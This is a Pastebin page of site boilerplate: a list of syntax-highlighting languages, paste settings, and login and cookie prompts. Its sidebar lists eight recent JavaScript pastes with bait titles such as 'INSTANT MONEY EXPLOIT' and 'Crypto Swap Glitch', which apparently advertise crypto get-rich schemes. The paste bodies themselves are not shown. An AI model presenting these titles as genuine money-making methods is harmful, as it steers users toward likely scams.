Delphi Prism (Oxygene)
Diff
E
ECMAScript
EPC
Easytrieve
Eiffel
Email
Erlang
Euphoria
F#
FO Language
Falcon
Filemaker
Formula One
Fortran
FreeBasic
FreeSWITCH
GAMBAS
GDB
GDScript
Game Maker
Genero
Genie
GetText
Go
Godot GLSL
Groovy
GwBasic
HQ9 Plus
HTML
HTML 5
Haskell
Haxe
HicEst
IDL
INI file
INTERCAL
IO
ISPF Panel Definition
Icon
Inno Script
J
JCL
JSON
Java
Java 5
JavaScript
Julia
KSP (Kontakt Script)
KiXtart
Kotlin
LDIF
LLVM
LOL Code
LScript
Latex
Liberty BASIC
Linden Scripting
Lisp
Loco Basic
Logtalk
Lotus Formulas
Lotus Script
Lua
M68000 Assembler
MIX Assembler
MK-61/52
MPASM
MXML
MagikSF
Make
MapBasic
Markdown (PRO members only)
MatLab
Mercury
MetaPost
Modula 2
Modula 3
Motorola 68000 HiSoft Dev
MySQL
Nagios
NetRexx
Nginx
Nim
NullSoft Installer
OCaml
OCaml Brief
Oberon 2
Objeck Programming Langua
Objective C
Octave
Open Object Rexx
OpenBSD PACKET FILTER
OpenGL Shading
Openoffice BASIC
Oracle 11
Oracle 8
Oz
PARI/GP
PCRE
PHP
PHP Brief
PL/I
PL/SQL
POV-Ray
ParaSail
Pascal
Pawn
Per
Perl
Perl 6
Phix
Pic 16
Pike
Pixel Bender
PostScript
PostgreSQL
PowerBuilder
PowerShell
ProFTPd
Progress
Prolog
Properties
ProvideX
Puppet
PureBasic
PyCon
Python
Python for S60
QBasic
QML
R
RBScript
REBOL
REG
RPM Spec
Racket
Rails
Rexx
Robots
Roff Manpage
Ruby
Ruby Gnuplot
Rust
SAS
SCL
SPARK
SPARQL
SQF
SQL
SSH Config
Scala
Scheme
Scilab
SdlBasic
Smalltalk
Smarty
StandardML
StoneScript
SuperCollider
Swift
SystemVerilog
T-SQL
TCL
TeXgraph
Tera Term
TypeScript
TypoScript
UPC
Unicon
UnrealScript
Urbi
VB.NET
VBScript
VHDL
VIM
Vala
Vedit
VeriLog
Visual Pro Log
VisualBasic
VisualFoxPro
WHOIS
WhiteSpace
Winbatch
XBasic
XML
XPP
Xojo
Xorg Config
YAML
YARA
Z80 Assembler
ZXBasic
autoconf
jQuery
mIRC
newLISP
q/kdb+
thinBasic
Paste Expiration:
Never
Burn after read
10 Minutes
1 Hour
1 Day
1 Week
2 Weeks
1 Month
6 Months
1 Year
Paste Exposure:
Public
Unlisted
Private
Folder:
(members only)
Password
NEW
Enabled
Disabled
Burn after read
NEW
Paste Name / Title:
Create New Paste
Hello
Guest
Sign Up
or
Login
Sign in with Facebook
Sign in with Twitter
Sign in with Google
You are currently not logged in, this means you can not edit or delete anything you paste.
Sign Up
or
Login
Public Pastes
⭐⭐ FREE BTC GUIDE ✅ Working ⭐⭐
JavaScript | 5 sec ago | 0.67 KB
🎯🎯 +50,000$ in 1 month⭐ 🎯🎯
JavaScript | 1 min ago | 0.67 KB
⭐⭐ INSTANT MONEY EXPLOIT ⭐⭐ ✅
JavaScript | 4 min ago | 0.67 KB
⚡ Earn 8,000$ Monthly Leaked Guide 🎯⭐
JavaScript | 6 min ago | 0.67 KB
⭐⭐ Crypto Swap Glitch ✅ Easy money ⭐⭐
JavaScript | 8 min ago | 0.67 KB
💎 2OOO$ 15 MIN INSANE METHOD 💵🚨 ✅✅
JavaScript | 11 min ago | 0.67 KB
💎💎💎 EXPLOIT 2,500$ IN 10 MINUTES
JavaScript | 12 min ago | 0.67 KB
✅ FREE 2,000$ FROM SWAPZONE ✅
JavaScript | 16 min ago | 0.67 KB
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the
Cookies Policy
.
OK, I Understand
Not a member of Pastebin yet?
Sign Up
, it unlocks many cool features!